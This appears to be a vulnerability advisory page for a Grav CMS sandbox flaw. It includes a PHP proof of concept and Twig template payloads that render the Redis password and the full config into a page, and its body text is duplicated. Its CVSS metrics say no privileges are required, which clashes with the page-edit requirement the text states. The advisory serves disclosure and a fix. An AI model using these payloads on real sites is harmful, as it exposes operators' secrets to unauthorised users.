← Back to CVE List
CVE-2026-76846NVD
Vulnerability Summary
## Summary
`system/config/security.yaml`'s default `twig_sandbox.config_denied_paths` list
(`plugins`, `streams`, `security`, `backups`, `scheduler`) omits the `system` prefix.
When an operator enables the documented, non-default `twig_content.config_access: true`
setting (intended to safely expose low-sensitivity values like `site.title` to
editor-authored Twig content), any real secret stored under `system.*` , for example
`system.cache.redis.password` , is also exposed, both via `config.get(...)` and via
`config.toArray()`, to any user with page-edit permission.
This is a follow-up gap in the fix for GHSA-j274-39qw-32c9 (config.toArray() secret
exfiltration): that fix correctly introduced a `SandboxConfig` facade with a denylist,
but the shipped default denylist is incomplete.
## Environment used to verify
- Grav commit at HEAD of the default branch, `GRAV_VERSION` `2.0.15`
- PHP 8.3.6 with curl, zip, dom, gd extensions installed
- Full `composer install --no-dev` run against the real repository (no mocked
dependencies) so the actual `Grav\Common\Config\Config` and
`Grav\Common\Twig\Sandbox\SandboxConfig` classes could be exercised directly
## Commands run to set up the verification environment
```bash
git clone https://github.com/getgrav/grav.git
cd grav
# install missing PHP extensions required by composer.json
apt-get install -y php8.3-curl php8.3-zip php8.3-xml php8.3-gd
# composer.phar fetched directly from GitHub releases
curl -sL -o /tmp/composer.phar \
"https://github.com/composer/composer/releases/latest/download/composer.phar"
COMPOSER_ALLOW_SUPERUSER=1 php /tmp/composer.phar install --no-dev --no-interaction
```
## Proof of Concept
Confirmed the real, currently-shipped config field first, rather than assuming one:
```bash
grep -n "redis" -A3 system/config/system.yaml
# redis:
# socket: false
# password: # <- system.cache.redis.password, a real field
# database:
grep -n "cache.redis.password" -A6 system/blueprints/config/system.yaml
# cache.redis.password: # <- confirmed exposed in the admin UI as "REDIS Password"
# type: text
```
`sandbox_test.php` , loads the real classes via the real autoloader, no mocking of
`Config` or `SandboxConfig` themselves:
```php
<?php
require 'vendor/autoload.php';
use Grav\Common\Config\Config;
use Grav\Common\Twig\Sandbox\SandboxConfig;
// Real field: system.cache.redis.password
// (system/config/system.yaml line 138; blueprint in
// system/blueprints/config/system.yaml, "cache.redis.password")
$configTree = [
'system' => [
'cache' => [
'driver' => 'redis',
'redis' => [
'server' => '10.0.0.5',
'password' => 'REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK',
],
],
],
'plugins' => [
'someplugin' => ['api_key' => 'plugin-secret-should-be-blocked'],
],
'site' => ['title' => 'My Site'],
];
$config = new Config($configTree);
// exact default list shipped in system/config/security.yaml
$defaultDeniedPaths = ['plugins', 'streams', 'security', 'backups', 'scheduler'];
$sandboxConfig = new SandboxConfig($config, $defaultDeniedPaths);
echo "plugins.someplugin.api_key: ";
var_dump($sandboxConfig->get('plugins.someplugin.api_key', 'REDACTED'));
echo "system.cache.redis.password: ";
var_dump($sandboxConfig->get('system.cache.redis.password', 'REDACTED'));
print_r($sandboxConfig->toArray());
```
Run:
```bash
php sandbox_test.php
```
Output:
```
plugins.someplugin.api_key: string(8) "REDACTED"
system.cache.redis.password: string(42) "REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK"
Array
(
[system] => Array
(
[cache] => Array
(
[driver] => redis
[redis] => Array
(
[server] => 10.0.0.5
[password] => REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK
)
)
)
[site] => Array
(
[title] => My Site
)
)
```
`plugins.*` is correctly redacted; `system.cache.redis.password` is not, and appears in
full both via targeted `get()` and via bulk `toArray()`.
## Confirming the Twig-reachable path is real
`system/config/security.yaml`'s sandbox policy explicitly allow-lists `SandboxConfig`'s
methods for use inside sandboxed page-content templates:
```yaml
- class: 'Grav\Common\Twig\Sandbox\SandboxConfig'
methods: 'get, toarray, value, offsetget, offsetexists'
```
So, with `twig_content.process_enabled: true` and `twig_content.config_access: true`
both set (both documented, operator-controlled settings), a page containing:
```twig
{{ config.get('system.cache.redis.password') }}
```
or
```twig
{{ config.toArray() }}
```
renders the real Redis password directly into the page output for any user with
page-edit permission.
## Impact
Any site that (a) uses Redis for caching with a password set, and (b) has enabled the
documented `config_access` opt-in (intended only to expose things like `site.title`),
exposes that Redis password , and potentially other future `system.*` secrets , to
every user with page-edit access, not just administrators. This defeats the purpose of
the redaction list added in GHSA-j274-39qw-32c9 for any deployment using this specific
combination of otherwise-legitimate settings.
## Suggested fix
Add `system` to the default `config_denied_paths` list in
`system/config/security.yaml`, or invert the model to an allowlist (e.g. `site`, and
any other subtree confirmed non-sensitive) so a future secret-bearing config key added
under `system.*` doesn't silently bypass the sandbox by default.
## Affected component
- `system/config/security.yaml`, `twig_sandbox.config_denied_paths` default value
- `system/src/Grav/Common/Twig/Sandbox/SandboxConfig.php` (behaves correctly given its
input; the gap is in the default list passed to it)
```
`system/config/security.yaml`'s default `twig_sandbox.config_denied_paths` list
(`plugins`, `streams`, `security`, `backups`, `scheduler`) omits the `system` prefix.
When an operator enables the documented, non-default `twig_content.config_access: true`
setting (intended to safely expose low-sensitivity values like `site.title` to
editor-authored Twig content), any real secret stored under `system.*` , for example
`system.cache.redis.password` , is also exposed, both via `config.get(...)` and via
`config.toArray()`, to any user with page-edit permission.
This is a follow-up gap in the fix for GHSA-j274-39qw-32c9 (config.toArray() secret
exfiltration): that fix correctly introduced a `SandboxConfig` facade with a denylist,
but the shipped default denylist is incomplete.
## Environment used to verify
- Grav commit at HEAD of the default branch, `GRAV_VERSION` `2.0.15`
- PHP 8.3.6 with curl, zip, dom, gd extensions installed
- Full `composer install --no-dev` run against the real repository (no mocked
dependencies) so the actual `Grav\Common\Config\Config` and
`Grav\Common\Twig\Sandbox\SandboxConfig` classes could be exercised directly
## Commands run to set up the verification environment
```bash
git clone https://github.com/getgrav/grav.git
cd grav
# install missing PHP extensions required by composer.json
apt-get install -y php8.3-curl php8.3-zip php8.3-xml php8.3-gd
# composer.phar fetched directly from GitHub releases
curl -sL -o /tmp/composer.phar \
"https://github.com/composer/composer/releases/latest/download/composer.phar"
COMPOSER_ALLOW_SUPERUSER=1 php /tmp/composer.phar install --no-dev --no-interaction
```
## Proof of Concept
Confirmed the real, currently-shipped config field first, rather than assuming one:
```bash
grep -n "redis" -A3 system/config/system.yaml
# redis:
# socket: false
# password: # <- system.cache.redis.password, a real field
# database:
grep -n "cache.redis.password" -A6 system/blueprints/config/system.yaml
# cache.redis.password: # <- confirmed exposed in the admin UI as "REDIS Password"
# type: text
```
`sandbox_test.php` , loads the real classes via the real autoloader, no mocking of
`Config` or `SandboxConfig` themselves:
```php
<?php
require 'vendor/autoload.php';
use Grav\Common\Config\Config;
use Grav\Common\Twig\Sandbox\SandboxConfig;
// Real field: system.cache.redis.password
// (system/config/system.yaml line 138; blueprint in
// system/blueprints/config/system.yaml, "cache.redis.password")
$configTree = [
'system' => [
'cache' => [
'driver' => 'redis',
'redis' => [
'server' => '10.0.0.5',
'password' => 'REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK',
],
],
],
'plugins' => [
'someplugin' => ['api_key' => 'plugin-secret-should-be-blocked'],
],
'site' => ['title' => 'My Site'],
];
$config = new Config($configTree);
// exact default list shipped in system/config/security.yaml
$defaultDeniedPaths = ['plugins', 'streams', 'security', 'backups', 'scheduler'];
$sandboxConfig = new SandboxConfig($config, $defaultDeniedPaths);
echo "plugins.someplugin.api_key: ";
var_dump($sandboxConfig->get('plugins.someplugin.api_key', 'REDACTED'));
echo "system.cache.redis.password: ";
var_dump($sandboxConfig->get('system.cache.redis.password', 'REDACTED'));
print_r($sandboxConfig->toArray());
```
Run:
```bash
php sandbox_test.php
```
Output:
```
plugins.someplugin.api_key: string(8) "REDACTED"
system.cache.redis.password: string(42) "REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK"
Array
(
[system] => Array
(
[cache] => Array
(
[driver] => redis
[redis] => Array
(
[server] => 10.0.0.5
[password] => REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK
)
)
)
[site] => Array
(
[title] => My Site
)
)
```
`plugins.*` is correctly redacted; `system.cache.redis.password` is not, and appears in
full both via targeted `get()` and via bulk `toArray()`.
## Confirming the Twig-reachable path is real
`system/config/security.yaml`'s sandbox policy explicitly allow-lists `SandboxConfig`'s
methods for use inside sandboxed page-content templates:
```yaml
- class: 'Grav\Common\Twig\Sandbox\SandboxConfig'
methods: 'get, toarray, value, offsetget, offsetexists'
```
So, with `twig_content.process_enabled: true` and `twig_content.config_access: true`
both set (both documented, operator-controlled settings), a page containing:
```twig
{{ config.get('system.cache.redis.password') }}
```
or
```twig
{{ config.toArray() }}
```
renders the real Redis password directly into the page output for any user with
page-edit permission.
## Impact
Any site that (a) uses Redis for caching with a password set, and (b) has enabled the
documented `config_access` opt-in (intended only to expose things like `site.title`),
exposes that Redis password , and potentially other future `system.*` secrets , to
every user with page-edit access, not just administrators. This defeats the purpose of
the redaction list added in GHSA-j274-39qw-32c9 for any deployment using this specific
combination of otherwise-legitimate settings.
## Suggested fix
Add `system` to the default `config_denied_paths` list in
`system/config/security.yaml`, or invert the model to an allowlist (e.g. `site`, and
any other subtree confirmed non-sensitive) so a future secret-bearing config key added
under `system.*` doesn't silently bypass the sandbox by default.
## Affected component
- `system/config/security.yaml`, `twig_sandbox.config_denied_paths` default value
- `system/src/Grav/Common/Twig/Sandbox/SandboxConfig.php` (behaves correctly given its
input; the gap is in the default list passed to it)
```
CVSS v4.0 Base Metrics — Score 8.7
Attack VectorNetwork
Attack ComplexityLow
Attack RequirementsNone
Privileges RequiredNone
User InteractionNone
Confidentiality (Vulnerable System)High
Integrity (Vulnerable System)None
Availability (Vulnerable System)None
Confidentiality (Subsequent System)None
Integrity (Subsequent System)None
Availability (Subsequent System)None
CVSS v3.1 Base Metrics — Score 7.5
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
User InteractionNone
ScopeUnchanged
ConfidentialityHigh
IntegrityNone
AvailabilityNone
Affected & Patched Versions
- getgrav/grav <= 2.0.15
Not provided by Private for this CVE.